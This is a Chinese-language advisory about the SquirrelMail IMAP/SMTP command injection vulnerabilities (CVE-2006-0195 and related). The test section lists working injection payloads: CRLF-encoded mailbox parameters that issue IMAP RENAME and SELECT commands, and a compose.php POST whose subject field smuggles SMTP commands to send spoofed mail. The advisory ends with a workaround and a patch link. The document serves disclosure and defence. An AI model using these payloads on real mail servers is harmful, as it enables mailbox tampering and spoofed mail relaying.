SquirrelMail IMAP/SMTP命令注入漏洞

来源:岁月联盟 编辑:zhuzhu 时间:2006-03-28
SquirrelMail IMAP/SMTP命令注入漏洞 受影响系统:
SquirrelMail SquirrelMail <= 1.2.7
SquirrelMail SquirrelMail < 1.4.6
描述:
BUGTRAQ  ID: 16756
CVE(CAN) ID: CVE-2006-0195,CVE-2006-0377,CVE-2006-0188

SquirrelMail是一款流行的基于WEB的邮件服务程序。

SquirrelMail提供了通过IMAP和SMTP协议与邮件服务器交互的图形界面。在正常使用这些应用的时候,SquirrelMail没有正确的验证传输给邮件服务器的命令和信息,这允许恶意的认证用户在通讯过程中使用SquirrelMail Webmail前端的sqimap_mailbox_select命令参数向邮件服务器注入任意IMAP/SMTP命令。

<*来源:Vicente Aguilera Diaz (vaguilera@isecauditors.com)
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=114106555229158&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有安全性,仅供安全研究与教学之用。使用者风险自负!

http:///src/read_body.php?mailbox=INBOX&passed_id=1&startMessage=1&show_more=0
http:///src/read_body.php?mailbox=INBOX%22%0D%0%0D%0A%20SELECT%20%22INBOX&passed_id=&startMessage=1
http:///src/read_body.php?mailbox=INBOX%22%0D%0AZ900%20RENAME%20Trash%20Basura%0d%0aZ910%20SELECT%20%22INBOX&passed_id=22197&startMessage=1

创建特制POST请求:

POST http:///src/compose.php HTTP/1.1

...
-----------------------------84060780712450133071594948441
Content-Disposition: form-data; name="subject"

Proof of Concept
-----------------------------84060780712450133071594948441
...

回复不存在的邮件地址:

...
-----------------------------84060780712450133071594948441
Content-Disposition: form-data; name="subject"

Proof of Concept%0d%0a.%0d%0a%0d%0amail from:
hacker@domain.com%0d%0arcpt to:
victim@otherdomain.com%0d%0adata%0d%0aThis is a proof of concept of
the SMTP command injection in SquirrelMail%0d%0a.%0d%0a
-----------------------------84060780712450133071594948441
...

建议:
临时解决方法:

* 从$mailbox的sqimap_mailbox_select函数中替换/r和/n。

厂商补丁:

SquirrelMail
------------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.squirrelmail.org/security/issue/2006-02-15